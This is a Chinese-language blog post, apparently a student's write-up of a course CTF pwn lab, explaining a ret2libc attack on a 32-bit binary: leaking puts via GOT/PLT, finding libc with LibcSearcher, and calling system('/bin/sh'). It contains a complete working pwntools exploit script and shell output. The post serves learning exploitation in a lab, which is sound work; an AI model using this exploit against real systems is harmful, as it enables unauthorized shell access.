Tamevic’s Ctf-Pwn writeup@软件安全‘实验3pwn’

原创

TameVic 于 2019-03-19 19:38:41 发布

分类专栏： pwn 文章标签： ctf pwn

本文链接：https://blog.csdn.net/qq_43264421/article/details/88665008

Tamevic’s Ctf-Pwn writeup@软件安全‘实验3pwn’

> 实验难度升级==有点晕了

文件：

其实和实验2是同一个文件，然后我还没传网盘…然后…好吧我承认我有拖延症…

3.24更新：我来发文件了…链接:https://pan.baidu.com/s/19gIMQhEQSaB3LJWb1rFFYQ 密码:6xlt

分析

这次实验的要求是不允许直接使用System函数，也不允许使用文件自带的getflag()函数，需要使用一些其他的技巧来获得System函数的地址。

划重点：

参考CTF-WIKI：https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop/#3

System函数是libc.so函数库中的一个函数，而且函数和函数在其中的相对位置（或者说相对偏移）不会发生变化，所以我们可以先使用一个其他的函数，得到它的地址，确定这个函数使用的libc版本（libc在github上有人收集），然后再获得System函数的地址。

那如何获得某个函数的地址？具体操作是使用got表泄露，即将这个函数got表中的内容输出出来即可。

关于got表和plt表，可以看看这篇博客：https://blog.csdn.net/qq_18661257/article/details/54694748

所以基本操作就是先获得libc，然后在库中查询System函数（其实’/bin/sh‘字符串在libc中也有，也可以同样查询出来），这里用到一个工具**LibcSearcher**(https://github.com/lieanu/LibcSearcher)

具体exp思路：

- 利用一次主函数的溢出，将ret设置为想要溢出的函数的plt表地址（我们这里用的是’puts‘函数）， 将got表中的数据输出出来，并再次进入主函数
- 获得libc版本，计算System函数地址，计算’/bin/sh‘字符串地址
- 再次利用main()函数的溢出，使程序跳转到system(’/bin/sh’)，随后getshell

-看看主函数

```
.text:080484FD main            proc near               ; DATA XREF:  start+17↑o
.text:080484FD ; __unwind {
.text:080484FD                 push    ebp
.text:080484FE                 mov     ebp, esp
.text:08048500                 and     esp, 0FFFFFFF0h
.text:08048503                 add     esp, 0FFFFFF80h
.text:08048506                 mov     eax, ds:stdin@@GLIBC_2_0
.text:0804850B                 mov     dword ptr [esp+0Ch], 0 ; n
.text:08048513                 mov     dword ptr [esp+8], 2 ; modes
.text:0804851B                 mov     dword ptr [esp+4], 0 ; buf
.text:08048523                 mov     [esp], eax      ; stream
.text:08048526                 call    _setvbuf
.text:0804852B                 mov     eax, ds:stdout@@GLIBC_2_0
.text:08048530                 mov     dword ptr [esp+0Ch], 0 ; n
.text:08048538                 mov     dword ptr [esp+8], 2 ; modes
.text:08048540                 mov     dword ptr [esp+4], 0 ; buf
.text:08048548                 mov     [esp], eax      ; stream
.text:0804854B                 call    _setvbuf
.text:08048550                 mov     dword ptr [esp], offset s ; "SUCTF is not so hard"
.text:08048557                 call    _puts
.text:0804855C                 mov     dword ptr [esp], offset asc_8048645 ; "let's have the di er ci try"
.text:08048563                 call    _puts
.text:08048568                 mov     dword ptr [esp+8], 100h ; nbytes
.text:08048570                 lea     eax, [esp+1Ch]
.text:08048574                 mov     [esp+4], eax    ; buf
.text:08048578                 mov     dword ptr [esp], 0 ; fd
.text:0804857F                 call    _read
.text:08048584                 mov     eax, 0
.text:08048589                 leave
.text:0804858A                 retn
.text:0804858A ; } // starts at 80484FD
.text:0804858A main            endp
```


记下主函数地址`0x080484FD`

-写脚本

之前对pwn理解不够深入，一直使用的是静态分析，但简单的东西还能这样做，稍微复杂一些的程序执行起来的样子只有动态调试才能知道。

这里就有一些写脚本的技巧:

```
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
```

第一句的目的是将python和程序之间进行的交互内容公开出来（也可以理解为调试），对其中每一步的变化都可见；

第二句的目的是新建一个terminal，便于进行gdb调试

```
pwnlib.gdb.attach(sh)
```

这里就是pwntools自带的工具，大概功能就是在程序的相应位置下断点，然后利用新建的terminal窗口进行调试。但是这里其实是有些缺陷，断点的位置通常会滞后。

已经使用的函数的plt表地址和got表地址怎么获取？这里也是pwntools的一个附件可以实现

7.ELF文件操作

```
>>> e = ELF('/bin/cat')
>>> print hex(e.address)  # 文件装载的基地址
0x400000
>>> print hex(e.symbols['write']) # 函数地址
0x401680
>>> print hex(e.got['write']) # GOT表的地址
0x60b070
>>> print hex(e.plt['write']) # PLT的地址
0x401680
>>> print hex(e.search('/bin/sh').next())# 字符串/bin/sh的地址
```


LibcSearcher怎么使用？

```
libc = LibcSearcher('函数名',已经泄露的地址)
libcbase = 已经泄露的地址 - libc.dump('函数名')
想要泄露的函数地址 = libcbase + libc.dump('想要泄露的函数地址')
```

写好exp开始运行，得到结果

附

```python
from pwn import *
from LibcSearcher import *

context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']

sh=process('./pwn')
elf=ELF('./pwn')

main_addr=0x080484FD

puts_plt=elf.plt['puts']
print('puts_plt',hex(puts_plt))
puts_got=elf.got['puts']
print('puts_got',hex(puts_got))

#pwnlib.gdb.attach(sh)

payload='a'*112+p32(puts_plt)+p32(main_addr)+p32(puts_got)

sh.recvuntil('try\n')
sh.sendline(payload)

#print ('got libc_st_main')

puts_addr = u32(sh.recv(4))
#print ('puts_addr',hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
#print libc
libcbase = puts_addr - libc.dump('puts')
#print '!'
system_addr = libcbase + libc.dump('system')
#print"!"
binsh_addr = libcbase + libc.dump('str_bin_sh')
#print'!'

payload = 'A'*104+ p32(system_addr) + 'b'*4 + p32(binsh_addr)
sh.sendline(payload)

sh.interactive()
```

结果

运行脚本，getshell

```
[*] Switching to interactive mode
б\x0U\x0@U`
SUCTF is not so hard
let's have the di er ci try
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x3f bytes:
    'core  exp.py  peda-session-pwn.txt  pwn  ret2libc3.py  test.py\n'
core  exp.py  peda-session-pwn.txt  pwn  ret2libc3.py  test.py
```

这里其实还有很多问题：

可能有些人能看到，我两次main()函数中溢出的位置不一样，一次是`0x6c+4`，一次是`0x64+4`，这就需要动态调试去发现了。

由于`s=esp+0x1c`，用`ebp-esp-0x1c`就可以知道溢出位置。

End

其实本可以很早就能做出来的…最致命操作是我写错了 'system' …还有'str_bin_sh'…然后就造成下面这种情况

```
<LibcSearcher.LibcSearcher object at 0x7f46862bb390>
[+] ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu10_i386) be choosed.
!
No matched, Make sure you supply a valid function name or just add more libc.
!
No matched, Make sure you supply a valid function name or just add more libc.
!
```


明明匹配到了libc库却找不到函数…

枯了。